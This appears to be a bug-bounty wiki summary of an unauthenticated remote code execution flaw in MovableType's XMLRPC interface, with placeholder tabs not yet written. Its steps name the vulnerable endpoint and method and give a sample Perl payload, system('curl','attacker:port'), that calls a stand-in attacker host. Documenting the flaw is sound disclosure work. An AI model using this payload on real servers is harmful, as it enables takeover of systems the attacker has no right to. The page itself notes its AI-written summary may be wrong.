Context⌗
The XMLRPC implementation in MovableType allowed unauthenticated attackers to call internal methods, including one that passed user input into an eval statement, leading to remote code execution. An attacker could execute arbitrary system commands on the server.
nemesis.sh
Published on nemesis.sh
A few months back, we performed an independant audit against the MovableType(MT) CMS, open source version available on Github.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the XMLRPC server exposed internal methods and one method (handler_to_coderef) used user-controlled input in an eval/require statement without proper sanitisation.
What the attacker needed
None
How it was found
- Send a POST request to /cgi-bin/mt/mt-xmlrpc.cgi with an XML body calling method mt.handler_to_coderef.
- Include a parameter with a string value that contains a Perl command, such as system("curl","attacker:port").
- The server executes the command, confirming remote code execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.
MovableType is a content management system. Its XMLRPC interface, which lets other programs talk to it, had a flaw: it allowed calling internal functions without logging in. One of those functions took user input and ran it as code, so an attacker could run commands on the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.